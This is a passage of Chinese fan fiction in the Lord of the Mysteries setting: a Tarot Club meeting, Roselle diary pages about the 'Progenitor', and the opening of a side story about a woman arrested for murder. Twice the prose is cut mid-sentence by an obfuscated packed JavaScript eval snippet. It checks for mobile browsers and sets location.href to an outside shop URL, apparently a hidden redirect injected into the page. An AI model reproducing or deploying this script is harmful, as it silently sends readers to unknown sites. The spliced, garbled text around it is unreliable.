站在门前,他再次看向你,目光恢复了平时的温和与沉稳。 “今晚好好休息,温蒂。” 他说道,语气郑重,“再次为刚才的事情道歉。晚安。关于魔药消化后的后续事宜,以及你下一序列‘机器’的考虑,我们明天到队里再详细谈。” 你心里那点残余的别扭彻底烟消云散了。你点了点头,小声说:“嗯……那队长祝我好梦。队长你也晚安。” “祝你好梦。” 他微微颔首,目送你拿出钥匙打开门,这才转身回到了马车上,“我保证。” 蹑手蹑脚上楼,将刚刚那个惊悚的梦境碎片甩开,洗漱。把自己收拾干净后扑进了柔软的被窝。疲惫如潮水般涌来,这一次,是真正安稳、平静的困意。 “祝我好梦……”你在陷入沉睡前的最后一刻模糊地想,“可别再是什么奇怪的梦了……” 83.第81章 又是一周塔罗会 第二天早上,阳光透过小窗缝隙洒进房间时,你才迷迷糊糊地醒来,感觉比平时更加疲惫。 躺在床上赖了好一会儿,才挣扎着爬起来,一边洗漱一边忍不住吐槽:“队长昨晚绝对没去核实那个海纳斯的信息!他肯定一整晚都在我梦里‘加班’!” 因为夜晚你的梦境里,充满了邓恩队长系着围裙(?)在厨房忙碌的身影,以及……源源不断被端上桌的、香气四溢的牡蛎汤和豌豆浓汤。不得不说,队长的手艺还是很不错的,汤的味道很鲜美,让你在梦里都忍不住喝了一碗又一碗。 “队长要是退休了,靠这手艺去开餐馆,绝对火爆……”你咕哝着,用冷水拍了拍脸,试图驱散那种饱胀的幻梦感。用不断给人做好吃的来道歉,这方式也太奇怪了吧?! 不过因为是做梦,而且东西确实好吃,你很轻易地就接受了这种诡异的道歉方式,并且在梦里吃得毫无负担。现在想想,真是离谱。 洗漱完毕,吃过简单的早餐,你回到房间,锁好门。从抽屉里小心地取出那六页罗塞尔日记——包括上周从老尼尔那里白剽记下的一页,以及昨天忍痛花费2磅巨资买下的五页。纸张泛黄,上面的奇特符号依旧完全不认识。 “可惜,以我现在的灵性和记忆力,一次性强行记忆三页图形的细节,是最舒服也最保险的极限。再多就容易混淆或遗漏了。” 你权衡了一下,决定这次先献上三页。剩下的三页,可以作为下次聚会的储备。 时间很快到了下午两点半,你在书桌前坐定,面前放着一杯加了冰块的甜冰茶,小口啜饮着,让清甜冰凉的口感帮助自己平静下来,等待着那个时刻的到来。 …… 根根巍峨的石柱撑起无尽的穹顶,古老斑驳的青铜长桌泛着冰冷的光泽。克莱恩高踞上首,浓郁灰雾包裹周身,带来熟悉的安全感与疏离感。 准时准点,三团光芒在不同位置骤然亮起。两团深红,一团银白。光芒拉伸、扭曲,迅速化为三道笼罩在淡淡雾气后的虚幻人影。 左侧的“正义”小姐的身影优雅站起,行了一礼,声音带着空灵与欢快:“下午好,愚者先生。” 接着,她对面的“倒吊人”,他右手按胸,微微欠身,声音低沉:“下午好,愚者先生。” 最后,是坐在“正义”小姐同一侧、略靠前位置的你,也连忙跟着起身行礼,动作比起前两者稍显生涩,但足够恭敬。 克莱恩保持着后靠的姿势,灰雾后的目光平静地扫过三人,轻轻颔首,算是回应。 “怪物”小姐今天似乎……嗯,反应有点慢半拍? “知道我愿意教她汉字,所以开始懈怠了?不害怕愚者先生了?” 克莱恩内心随意地吐槽了一句自己的同事,当然,表面依旧波澜不惊。 “正义”小姐显然心情极好,语气带着一丝雀跃:“可惜这里没有美酒,否则就能为您尝试成功而干杯了!” 她指的是上周愚者先生教导的、用于提前请假的仪式魔法。 “您的强大远超我们的想象。” “倒吊人”也跟着真诚地赞美了一句。 克莱恩的目光扫过,你也立马跟着小声补充了一句类似的赞美,语气倒是很认真。 身周笼罩着的浓郁灰雾让克莱恩感觉良好,他右手随意地虚按了一下,仿佛在回应一件再普通不过的小事,用那种平淡、恢弘、听不出情绪的声音开口道: “很好。这表明我们正走在一条卓有成效的道路上。” 他顿了顿,继续道,“以后,如果你们有事,无法在周一下午三点脱身,可以提前举行仪式,向我告知。只需将咒文里的‘祈求一个好梦’等内容,修改为具体的、需要请假或变更时间的理由即可。” “好的,愚者先生!” “正义”语气轻快地点头应下,随即想起正事,“另外,我这一周又获得了一页罗塞尔大帝的日记。这样算来,我应该还欠您一页。” 这时,“倒吊人”右手再次按胸,向前微微弯腰,声音带着歉意:“很抱歉,‘愚者’先生。这一周我远离陆地,在海上航行,未能找到新的日记。” 克莱恩内心感到一丝遗憾,海上寻找日记确实难度更大。他正要表示无妨,坐在“正义”旁边的你开口了。 你斟酌了一下用词,才说道:“愚者先生,我……这一周找到了六页新的罗塞尔大帝日记。” “正义”微微侧头,有些惊讶地看了你一眼。连“倒吊人”笼罩在灰雾后的身影也似乎微微动了一下。 你连忙补充,声音带着点不好意思:“但是,我只记忆住了其中三页的完整内容。另外三页,我会在下一次聚会时贡献给您。” 听到“六页”时,克莱恩灰雾后的眉头下意识地挑了一下,但听到“只记住了三页”,又有些了然。 他内心忍不住又开始吐槽:“六页?别又全是从老尼尔那里白剽来的吧?我的‘怪物’同事啊……那很多可能是我已经看过的存货啊! 还要给你折算贡献,教你汉字……唉,我连具体怎么折算、教哪些都还没完全想好呢……” 当然,这些思绪绝不会有一丝泄露到他那平淡恢弘的语气中。 “不必在意。” 克莱恩靠着高背椅,用右手食指轻轻敲了敲青铜长桌的扶手,语气依旧平淡,仿佛六页也好,一页也罢,都无足轻重,“这件事情的周期注定漫长,无需急于一时。” 他目光扫过“正义”和你,用陈述事实般的口吻说道: “你们现在就可以将记住的日记‘表达’出来了。” 随着他的话音落下,你和“正义”小姐的面前各自浮现出空白的羊皮纸和暗红色的钢笔。 克莱恩保持着高踞上首的姿态,目光平静地扫过“正义”和“命运之轮”面前逐渐被奇异符号填满的羊皮纸。当两人几乎同时停下笔,示意完成后,他心中微动,右手看似随意地轻轻一抬。 下一秒,那几张羊皮纸悄无声息地跨越空间,出现在他的掌中。 他目光下移,没有显露出丝毫情绪起伏,开始阅读。首先映入眼帘的是“正义”小姐贡献的那一页: “七月十四日,我又见到了那位神秘的查拉图先生,他竟然是古老组织密修会的首领!” 尽管灰雾的阻隔和对表情的强大控制力让克莱恩的外在毫无破绽,但他的内心却如同被一道无声惊雷劈中,瞳孔在灰雾后难以抑制地收缩了一下。 查拉图!密修会首领! 在黑夜女神教会的内部资料记载中,查拉图家族只是与那个神秘莫测、掌握着“占卜家”途径的古老组织 “密修会” 有着千丝万缕的联系。而到了罗塞尔大帝这里,这位“神秘的查拉图先生”的身份直接被点明——密修会的首领! 这么看来,密修会掌握着‘占卜家’途径,已经是确凿无疑的事实了……他强行按下翻腾的心绪,控制目光继续移动。 接下来,是“命运之轮”——也就是他那说莽但胆小,说怂总干大事的同事贡献的三页日记。说实话,克莱恩对你这位“怪物”途径的同事并不抱太大期望,尤其你之前还提到过从老尼尔那里“记”了一页。 果然,第一张羊皮纸上的图形组合,他一看就觉得眼熟——正是他之前在老尼尔的收藏里见过的那一页!你果然是把老尼尔的存货给白剽来当贡献了。 克莱恩内心毫无波澜,甚至有点想叹气。“果然啊……我的‘怪物’同事,你这记性都用在这儿了吗?” 为了不暴露出自己已经看过这页日记,他灰雾后的手指几不可察地动了一下,利用对灰雾之上空间的微弱掌控,极其自然地将这页已知的日记,悄然转移到了四张羊皮纸的最下方,准备留到最后再“看”。 做完这点小动作,他不抱希望地开始阅读剩下的、理论上应该是“新”的日记。然而,刚看了几行,他灰雾后的眉梢就微微挑动了一下。 居然……真的是新的?而且内容…… “五月十六日,他们说我以后会被污染,那群神棍为了传教真的什么话都敢说!演都不演了,直接说看见了我的命运,让我以后不要出海冒险,还让我念诵他们始祖的尊名,说始祖会帮助我!呵呵,等我功成名就把这些神棍全赶出去!先知我见一个打一个!” 噗……克莱恩差点没维持住愚者的平淡语气。“先知”?他立刻回忆值夜者内部关于各途径序列名称的资料,“先知”……这好像是“怪物”途径的某一个中高序列名称?具体是序列几记不清了,但肯定是“怪物”途径的。 “该说不说,大帝啊,你这嘴是开了光吗?居然自带嘲讽的被动buff。” 克莱恩内心疯狂吐槽,“前一张就嚷嚷着占卜家见一个打一个,这张又要打‘先知’……好嘛,我和我同事,两条途径全被你地图炮扫射进去了!” 他摇摇头,继续往下看: “五月十七日,生命学派那群神棍简直阴魂不散,他们说我的头脑注定适合通识者途径,但又说我的性格不合适,让我向始祖祈祷,问题是他们所拥有的途径更菜啊,生怕我失控得晚。” “五月十八日,他们说如果我愿意,我会成为命运的眷者。我了解了他们学派的宗旨,不知道的还以为进了什么和尚庙呢,不过目前我见过的生命学派成员基本都是单身狗,男的女的都一样,什么单身诅咒啊这是。我一个大好青年,女人手都没摸多少次,他们要我洁身自好,我洁你个mmp,我都还没有开始不自好呢,就开始让我洁身了。实在是太烦人了,我把他们赶出去了。” 一连两天,生命学派都被大帝毫不留情地怼了,饶是克莱恩此刻扮演着高深莫测的愚者,内心也忍不住为生命学派掬一把同情泪,顺便对罗塞尔大帝的暴躁有了新认识。 “大帝啊,人家好歹是古老学派的成员,连着三天找你,苦口婆心(虽然方式可能像神棍)劝你改换途径,甚至抛出‘命运眷者’这种听起来就很高大上的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“十一月二十日,我向始祖进行了祈祷,始祖说不相信祂是对的,祂看起来那么正常,居然受到了污染,在满月的时候并不是原本的祂。既然始祖用的是‘祂’来形容,那说明被封印的是一个高序列的老东西啊,那我可得小心了,被封印,信息量可不小啊。哎,始祖回应祈求是真的快,就是问什么答什么,不给我更多信息,这点真不好,始祖你得好好改。” 读到这一页,克莱恩之前因为“时代的主角”那句而有些微妙的心情,顿时被一种更加复杂、混合着恍然和淡淡嘲讽的情绪取代。 “所以……大帝最后还是念了始祖的尊名啊。” 他灰雾后的脸上,缓缓露出了一个极其细微、带着玩味的微笑。“前一张还在赶人,转头第二张日记就去向‘始祖’祈祷求证了……这打脸来得也太快了,大帝。” 克莱恩几乎能脑补出罗塞尔一边嘴硬,一边又忍不住担心,最终“真香”地举行仪式的纠结模样。 更让他在意的是日记的内容。“始祖说……‘祂受到了污染,在满月的时候并不是原本的祂’?用‘祂’来指代,而且明确提到了‘被封印’……” 克莱恩的思维快速运转起来。在神秘学领域,能用“祂”来尊称的,至少是天使乃至更高位格的存在。一个被污染、被封印,并且在满月时会呈现出不同,甚至可以说是异常状态的高序列存在……这个描述让克莱恩这个前世的键盘王者瞬间联想到了很多,比如被邪恶力量污染心灵,比如黑暗第二人格什么的。 看日记里罗塞尔还吐槽始祖“回应祈求是真的快,就是问什么答什么,不给我更多信息,这点不好”,这让克莱恩也不由得想起了之前你描述的向始祖祈求好梦后立刻昏睡的经历,内心再次确认了这位“始祖”在回应祈祷方面的高效和直接,甚至有点“机械”。这或许与其作为“命运”象征的某种特性有关?或者这也是一种特殊状态? 而且,这一页的内容,似乎可以和之前老尼尔那里看到过的、另一页提及罗塞尔与人争执的日记碎片联系起来看啊……克莱恩回忆着。“难道是大帝白天刚跟某个可疑的家伙吵完架或者接到可疑‘电话’,晚上就忍不住去找‘始祖’‘开盒’查对方底细了?” 想到这个画面,克莱恩就觉得有点好笑。这位叱咤风云的帝国皇帝,工业革命先驱,在涉及神秘学和自身安危时,似乎也有着相当“从心”和务实的一面。 “这么看来,大帝后来也算半个‘遇事不决就始祖’的……嗯,生命学派信徒?” 克莱恩内心调侃道。“那我的那位‘怪物’同事,如果知道‘始祖’和罗塞尔大帝还有过这样的往来,不知道会作何感想。 他收敛心神,继续看完最后那点日记内容: “十月二十一日,可惜了,始祖说那位强大存在大部分时候都是清醒的,但是只有在满月时才能接收到祂的信息,也就是说,我只能和那个被污染的祂对话。那得好好分辨祂说的信息才行。” “希望大帝你最后没被坑太惨……” 克莱恩内心默默道,同时将这几页关于“始祖”、“污染”、“满月”、“封印”的日记内容又快速浏览了几遍,将这些关键信息牢牢记住。 感觉已经消化了这几页日记的主要信息后,克莱恩将手中的羊皮纸轻轻归拢,放在一旁。他抬起眼眸,笼罩在浓郁灰雾后的目光平静地扫过长桌两侧安静等待的三道身影,用那恢弘平淡、仿佛刚才只是短暂走神了一下的语调缓缓开口: “让你们久等了。” 84.第82章 最快也要一个月吗? 你百无聊赖地等待着,目光在恢弘寂静的殿堂和对面两位笼罩在雾气中的身影之间飘移。心里忍不住琢磨:“唉,也不知道什么时候,我才能像看报纸一样,轻轻松松看懂这些罗塞尔大帝的日记……‘汉字’啊‘汉字’,我什么时候才能看懂你?” 就在你思绪飘远时,愚者先生那平淡恢弘的声音响起,宣布聚会进入自由交流环节。先是“正义”小姐和“倒吊人”先生关于消化魔药时间的讨论——“三年” 这个数字让你暗暗咋舌,但随即,长桌最高处响起了笃笃笃的、不轻不重的敲击声。 愚者先生用那一如既往、仿佛在陈述世间真理般的平常语气说道:“在低序列,只要严格扮演,半年之内就能彻底消化。一个月,也并非没有可能。” 接着,他补充道,声音里似乎带着一丝了然的笑意,“彻底消化的征兆,到时候你们自然就会懂得,无需他人教导。” “一个月?!真好!谢谢您,愚者先生!” “正义” 小姐的喜悦之情即使隔着灰雾也满溢出来,充满了青春的活力与希望。而“倒吊人” 先生则低声重复着“半年……”,声音里带着一种沉甸甸的、混合着震撼与深思的复杂情绪。 你看看欢欣鼓舞的“正义”,又看看陷入沉思的“倒吊人”,心里莫名冒出一个念头:“这大概就是……乐观的幸运儿和饱经沧桑的现实主义者之间的区别?” 不过,你也有自己的疑问。 你清了清嗓子,举手示意,然后开口道:“愚者先生,我也有个问题。我曾经在……嗯,在特定情况下,在他人面前做出过一些符合我序列名称含义的行为,然后当时就感觉到,身体里某种一直存在的、像玻璃壳一样的桎梏,一下被打破了不少,整个人感觉通畅轻松了很多,灵性运转也明显更顺畅。” 你努力描述着那种玄妙的感受,“请问,这算是……消化的征兆吗?还是说,这就是彻底消化的感觉?” 灰雾之后,愚者先生似乎轻笑了一声,但并未立刻回答,仿佛在品味你的描述。过了一会儿,他那平淡的声音才再次响起:“这确实是消化进程推进的明显征兆,意味着你的‘扮演’走在了正确的道路上,魔药与你正在加速融合。但,” 他顿了顿,带着一种难以言喻的笃定,“当你彻底消化时,你会‘知道’的。那种认知,源于魔药、灵魂与途径本身,无法误解,也无法从他人那里习得。” “我明白了……” 你点了点头,心想不愧是愚者先生,同样是表达消化完全的感觉,愚者先生说的话就感觉厉害多了。你对比了一下自己和愚者先生的描述,确定自己对队长没有错误教学,就安静了下来。 不过,你的提问似乎引起了其他人的兴趣。你能感觉到“正义” 小姐那边传来好奇的“目光”(虽然被灰雾遮挡着),而“倒吊人” 先生则似乎因为你的描述而陷入了更深的思索,仿佛在反复咀嚼、印证着什么。 “倒吊人先生到底明悟了什么啊?好好奇……” 你盯着他那片灰雾,心里像有只猫在挠。 就在这时,“正义” 小姐再次开口,问出了一个你也很感兴趣的问题:“愚者先生,请问,您有增加新成员的打算吗?比如,将聚会固定为多少人?” 愚者先生闻言,姿态更放松地后靠进高背椅中,仿佛对这个问题早有准备,他用那平淡的语调回答道:“最开始,这只是一次尝试,没有那么多额外的考量。但现在,它已经成为一个定期、稳定的聚会。新成员的加入,必须经过严格挑选。隐秘,是我们必须恪守的宗旨。” “也就是说,需要观察、推荐、以及相应的考核程序?嗯,我明白了,程序。” “正义” 小姐立刻领会,并用自己的语言总结道。 “你这样理解也没有错。” 愚者先生给予了肯定的答复,听起来对“正义”的归纳颇为满意。 听到这里,你心中一动,一个念头闪过。你再次举起手,在愚者先生默许的目光下,小心翼翼地问道:“那……愚者先生,请问,那些同样被灰雾笼罩、但没有出现在这里的人……他们算是您挑选中的成员,或者候选者吗?” 你想到了你那可怜的、似乎总是被卷入非凡事件、灵感好像也挺高的同事克莱恩·莫雷蒂。他知不知道,自己可能正在被这位神秘存在“观察”着? 灰雾之后,愚者先生似乎因为这个略显具体的问题而沉默(或者说沉思)了片刻。你能听到他修长的手指,再次轻轻敲击古老青铜长桌边缘发出的、低沉而富有韵律的笃笃声。 几秒钟后,他那平淡却不容置疑的声音来: “如果他通过了我的考量。” 回答简洁,充满余地,却又带着一种超然的、决定性的意味。 “如果他通过了考量……” 你在心中默念了一遍这句话,感觉信息量很大,又好像什么也没说。克莱恩知道自己在被“考量”吗?“考量”的标准又是什么?考量成功了我就会在聚会上看到克莱恩了? 一连串的问题冒出来,但你知道这不适合再追问了。 不过,这个答案至少让你确认了一点:这位“愚者”先生的目光,或许并不仅仅局限于这张青铜长桌。廷根,甚至更广阔的世界,可能都有身影在其考量的视野之内。 笼罩于浓郁灰雾里的愚者先生未再言语,似乎默许了自由交流的深入,“正义”小姐再次开口,语气带着一种混合了好奇与求知欲的轻快:“尊敬的愚者先生,还有‘倒吊人’先生和‘命运之轮’小姐,我希望能更详细地了解一些关于各个已知神秘组织、隐秘教派的事情。这些知识在我的日常生活中很难接触到,我只能通过你们来拓宽眼界。当然,我会为此支付相应的报酬。” 她顿了顿,声音里透着十足的诚意,“不知道你们想要什么?金钱,还是某些特定的物品、信息?” 她话音刚落,坐在你对面的“倒吊人”先生似乎早已有所准备,他低沉的嗓音立刻响起,带着一贯的沉稳:“我需要一笔金钱。1000镑。最好是不连号的钞票。或者,等值的、刚开采出来未经太多雕琢的宝石,按贝克兰德珠宝交易市场上个月的月平均价格计算。” 1000镑?!“倒吊人”真敢开口啊! 你听到这个数字差点被自己的口水呛到,眼睛瞬间瞪圆了,要不是隔着灰雾,你敢肯定自己的表情一定很精彩。 你现居的贝西克特街那栋崭新的联排房屋,一栋的总价也就850金镑左右!“倒吊人”先生这一开口,就是要了一栋房子! 你做梦幻想发财的时候也就梦到这个数了!真是…… “1000镑?” “正义”小姐略微诧异地脱口而出,但紧接着,她的语气立刻恢复了那种轻快愉悦,甚至带着点“原来这么便宜”的爽快:“没有问题。还是送到之前那个地址吗?” 听这口气,她真的觉得……很便宜?你的目光瞬间牢牢钉在了“正义”小姐那片翻涌的灰雾上,仿佛能透过雾气看到一位浑身散发着金色光芒的倩影。我的老天!这是位行走的、会说话的金库!不,是金山! 大富婆!带带我! “倒吊人”先生那边传来了一阵长达二十多秒的、近乎凝滞的沉默。你几乎能脑补出他此刻内心的波澜——肯定在后悔刚才报价时没有再多加一个零!这只肥羊比想象中还要肥美! 你的心脏也不争气地加速跳动起来。“倒吊人”先生开了个好头,“正义”小姐又如此慷慨……你脑子飞快转动,立刻想到了自己能提供的信息,赶紧清了清嗓子,努力让自己的声音听起来平静、可靠,带着点“知识有价”的矜持: “咳咳,‘正义’小姐,关于神秘组织,我可以分享一些我所知的、关于‘生命学派’的信息。这个组织相对中立隐秘,外界了解可能不如其他那么广泛。” 你顿了顿,原本只想报个20镑,把买日记的2磅十倍赚回来就心满意足,但“正义”小姐刚才那爽快的态度,让你鬼使神差地带着点试探和侥幸心理,把到了嘴边的“20”咽了回去,换成了一个让你自己都心跳漏了一拍的数: “报酬的话……200镑。” 说完,你屏住呼吸,等待回应。200镑!这差不多是你不吃不喝大半年的薪水!天啊温蒂·佩洛蒙西娅,你胆子也太肥了! “当然可以,很合理的价格。” “正义”小姐几乎没有任何犹豫,愉快地答应了,仿佛200镑和20便士没什么区别。“那么,我该如何支付给您呢,命运之轮小姐?” 她答应了!真的答应了!200镑! 你内心狂喜,但表面上还得努力维持镇定。“感谢您的信任,‘正义’小姐。支付方式的话……你办理一个不记名的银行账户,将款项存进去,然后在下次聚会时,将账户信息告知我即可。我相信您的美好品德。” 你选择了相对稳妥,且对你来说最方便的方式。 “好的,我记下了。” “正义”小姐优雅地回应。 交易初步达成,“正义”小姐略微后靠,姿态从容,先看向了“倒吊人”:“那么,‘倒吊人’先生,你可以开始了。先从那些比较著名,或者危险性较高的组织开始吧。” “倒吊人”先生低沉的讲述声在殿堂中响起。他提到了崇拜真实造物主、并且相信人生而有神性的“极光教会”,以及同样信仰真实造物主但行事风格有所区别的“铁血十字会”,还有掌握古老而神秘的“密修会”,以及信仰“隐匿贤者”、知识教派分裂后的“摩斯苦修会”等等。他简要说明了这些组织的大致特点、主要活动区域和危险程度。 你竖起耳朵,听得十分认真。 “正义”小姐真慷慨! 你心里美滋滋地想,“这等于我花了200镑,不仅卖出了自己的情报,还免费蹭听了‘倒吊人’先生价值1000镑的课!愚者先生肯定也是觉得这些信息都属于非凡世界相对基础的常识,才没有要求我们单独私下交流吧?” 你一边听,一边努力记忆,这些正是你这个值夜者新人所急需补充的基础知识,很多细节连老尼尔都未必知道。 听着听着,你忽然发现,“倒吊人”先生提到的某些组织,其描述或渊源,似乎与你从达克威尔那里了解到、以及那本小册子上提到的关于“生命学派”的只言片语,存在一些可以呼应或补充的地方。尤其是关于某些古老存在的记载。 当“倒吊人”先生结束了他关于几个主要隐秘组织的概述后,你觉得时机成熟,再次举起了手。 “‘正义’小姐,” 你开口说道,语气比刚才多了几分自信,“关于‘倒吊人’先生刚才提到的部分内容,尤其是涉及某些古老存在和最初纪元传说的部分,我从‘生命学派’的角度,或许可以做一些小小的补充。” 你略微组织了一下语言,继续说道:“首先,在‘生命学派’内部的认知和传承中,他们认为自己学派才是最早的有明确传承和理念的隐秘组织之一,其渊源可以追溯到第一纪,甚至更早的‘混沌纪元’。他们认为,在那万物初开、命运长河始现的年代,‘始祖’的弟子们便已行走于大地,观察并记录着命运的轨迹。” 你适时地补充了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262603|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,作为背景介绍,“顺便一提,‘始祖’,便是‘生命学派’所信仰和追随的象征命运本身的至高存在。” 你继续补充,试图让“正义”小姐这位金主觉得这200镑物超所值:“还有一个可以佐证的论据,也是在生命学派内部并非秘密的一件事——始祖最古老、最强大的弟子之一,‘吞尾者’乌洛琉斯,也就是外界所称的‘水银天使’,如今确实是真实造物主座下的天使。” 你斟酌着用词,尽量显得客观,“由此或许可以推断,信仰真实造物主的极光会、铁血十字会等组织,其源头和早期活动,可能比目前普遍认知的更加久远,甚至与第一纪的某些隐秘传承有关。” “‘始祖’的弟子……居然是另一位神祇座下的天使?” “正义” 小姐显然对这个“跨组织任职”的情况感到十分惊讶,灰雾后的身影似乎都微微前倾了些。 对于你的金主大人,你显得格外有耐心,点点头,用分享内部常识般的语气说:“是的。而且,生命学派对于内部成员的信仰归属并没有硬性要求。就像在这个纪元,始祖所选中的弟子,” 你含糊地带过,“就是黑夜女神的信徒。” 也就是我。当然,后面这句被你明智地咽了回去。 就在这时,一直沉默倾听的“倒吊人” 先生突然开口,低沉的嗓音打断了你的补充。 “命运之轮小姐,你所说的‘不在意成员信仰’,或许只是你们‘始祖’,或者说生命学派高层,对外示人的一种说法,或者是一种姿态。” 他顿了顿,似乎在思考,“实际上,这可能涉及更高层次的、神明之间的博弈与投资。” 他条理清晰地说道:“按照你的说法——在之前的纪元,或许是很久以前,你们的‘始祖’通过其弟子,展现的是对‘真实造物主’一系的支持或投资。而在这个纪元,‘始祖’选择了与黑夜教会相关的存在建立紧密联系。” 他的声音平稳,却带着一种洞穿表象的感觉,“对于高序列存在而言,具体的‘弟子’或‘眷者’是谁,或许并不最重要。重要的是,通过选择不同的关联者,‘始祖’在不同的时代,向外界表明了祂支持或倾向于哪个阵营的态度。这是一种超然又隐晦的站队,是你们‘始祖’本身对时代潮流的一种‘押注’。” 居然……是这样吗?! 你听得一愣一愣的,脑子有点转不过弯来。倒吊人先生这番话,听起来好有道理,逻辑严密,瞬间把你那种“生命学派比较自由散漫”的肤浅认知提升到了“神明战略投资”的宏大层面! 可是……真的吗?始祖选我做眷者,真的是因为祂在这个纪元决定支持黑夜女神吗?所以我才成了那个“被选中的人”? 这个推测让你有点莫名的……受宠若惊又压力山大。“我才是眷者啊!没人跟我说过是来当‘战略投资标志’的啊!” 你内心疯狂吐槽,感觉自己的小身板突然承担了不可承受之重。 “倒吊人”先生没有理会你内心的惊涛骇浪,继续沿着他的思路说道:“如果‘命运之轮’小姐你所说的都是事实,那么真实造物主的教会,确实很可能是最早兴起的那批隐秘组织之一,并且在其巅峰时期,很可能曾是其中最强大的一股力量。否则,难以解释像‘始祖’这样的存在,会在某个时期将重要的弟子置于其阵营。” 他最后补充道,语气里带着一丝收获的满意,“这解决了我过去对一些古老记载和矛盾传闻的疑惑……感谢你的信息,‘命运之轮’小姐。我会更加留意收集关于真实造物主及其教会的情报。” 你愣愣地点了点头,感觉自己的智商和见识在“倒吊人”先生面前被彻底碾压成了渣渣。“倒吊人先生好厉害啊……他怎么就能从几句话里分析出这么多东西?这就是资深非凡者吗?” 你内心充满了敬佩。 但表面上,你还得努力维持“命运之轮”这个身份该有的高深形象。你一边庆幸有灰雾遮挡,完全不用做表情管理,一边抬手,掩饰性地虚握拳头放在嘴边,轻轻清了清嗓子,努力让声音听起来平稳如常: “咳,那么,我继续补充第二点,是关于魔女教派的。” 你稍微提高了点声音,确保信息清晰。 “外界,包括许多低序列非凡者,对魔女教派有一个流传很广的误解,认为她们是通过杀害丈夫和男婴来维系教派内部纯女性的构成。” 你顿了顿,抛出关键信息,“但实际上,根源在于她们途径的序列7,魔药名称就是‘女巫’。服用这份魔药,会导致一个根本性的转变:服用者会从男性,转变为女性。这是魔药本身带来的不可逆的生理与外貌变化。” “天呐!” “正义” 小姐忍不住惊呼出声,即使隔着灰雾也能感受到她的震惊,“会由男性……完全变成女性?这、这太不可思议了!” “确实……令人震撼。” 连一贯冷静的“倒吊人” 先生,声音里也透露出明显的诧异,显然这个信息超出了寻常的认知范畴。 看到他们的反应,你心中有了种莫名的成就感,继续分享:“而且,根据我了解到的一些有限情况,” 你斟酌着用词,想到了雪伦夫人用那种慵懒又带着恶趣味引诱般的语调向特里斯揭示真相的场景,“魔女教派似乎……并不排斥,甚至可能有些偏好吸纳粉丝男性成员进入她们的教派体系。当然,这背后可能有对‘女巫’特性需求的考量,但也不排除……” 你停了一下,选择一个相对中性的词,“不排除教派高层,或者某些特定的‘女巫’,在其中掺杂了一些个人的……嗯,特殊的恶趣味或倾向。” 85.我、你、他(一)[番外] 我被捕了,因为我杀了人。 此刻,我坐在警察局问询室那张坚硬的木椅上,冰凉的金属扶手硌着我的手臂。空气里有灰尘、旧木头和烟草混合的味道。 我的对面,坐着两个穿黑白格子制服的男人。他们的嘴巴正交替张合,发出高低不同的音节,像两台上紧了发条、但音色略有差异的留声机,嗡嗡地向我播放着什么。 左边那个年长些,有双灰色的、平静的眼睛。仿佛我,翠西,一个刚刚用刀子捅进别人胸膛的女人,和偷面包的老妇人、醉酒斗殴的水手没什么本质区别,都只是他需要处理的公务的一部分。 右边那位则年轻一些,大概二十出头,制服穿得笔挺,脸上还残留着未完全褪去的学生气。他的目光不时落在我脸上,又迅速移开,里面混杂着职业性的审视,以及……一丝让我觉得无比可笑的、浅薄的怜悯。 他在怜悯我。怜悯一个杀人犯。多么正直,又多么天真。 真可笑。 事实上,我并不觉得痛苦,至少不是他们想象中那种撕心裂肺的悔恨或恐惧。 我只有一片近乎真空的平静,以及一种奇异的、事不关己的抽离感。 我不后悔。在那一刻,当水果刀冰冷的刀刃没入那个男人温热油腻的脖颈侧方,当他的眼睛骤然瞪大,充斥着难以置信的惊愕与迅速湮灭的光彩时,我甚至感觉到一种前所未有的、近乎眩晕的解脱。 噗嗤。很轻的一声。比我想象的容易。 温热的、粘稠的液体瞬间喷溅出来,弄脏了我的裙摆,我的手臂,甚至有几滴落在了我的脸颊上。那一刻,我奇异地没有感到恶心,也没有害怕。相反,一种前所未有的轻松感抓住了我。那喷涌而出的,仿佛不是血,而是某种迟来的、滚烫的赦免。 是神终于厌倦了观看我的挣扎,随手掷下的一杯毒酒,滋味灼烈,却也是解脱。我甚至微微闭上了眼睛,感受着那温热渐渐变凉,粘在皮肤上,像一层丑陋的、无法洗脱的痂。 “翠西小姐,你有在听我们说话吗?” 一道声音突兀地插了进来,像一根针,刺破了那层包裹着我的、粘稠的回忆。 是右边那位年轻的警察先生。 他的眉头微微皱着,似乎对我魂游天外的状态有些不满,但他那怜悯的目光,又让他的不满显得有些无力。 我眨了眨眼,将视线聚焦在他尚且算得上清秀的脸上。“有的,警官。” 我的声音出乎意料的平静,甚至带着点事不关己的漠然。 年轻的警察——拜尔斯,他的胸牌是这么写的。他身体微微前倾,语气对于一个杀人凶手来说过于和缓了:“翠西小姐,接下来你就要准备上庭了。我们会按照程序,为你安排一位法律援助律师。很遗憾,目击游客已经离开了乌托邦,无法作进一步详细询问,只有初步口供。这对你来说,情况相当不利。” “没关系。” 我听到自己这么说,声音依旧平稳。我是真的觉得没关系。杀人偿命,欠债还钱,天经地义。我会努力地为自己辩护,用我能想到的一切理由——自卫?长期骚扰下的精神崩溃?无论是什么。我也会坦然地为这最终无法辩驳的罪行忏悔,在法官、陪审团,或许还有女神面前。 ——不为杀了他,或许该为这行为本身带来的混乱与终结?谁知道呢。法官和公众需要这个。 一个念头忽然毫无预兆地跳了出来。我看着对面两位警官,尤其是那位年轻的,他眼中那抹未被世俗彻底磨平的柔软。我想了一下,然后,慢慢翘起了嘴角 “警官先生,” 我开口,声音放得更轻,甚至带上了一点因为长久不说话而产生的微哑,“在等待上庭的这段日子里……我能向你们提一个或许有些过分的请求吗?” 年轻警官愣了一下:“什么请求?在不违反规定的前提下……” 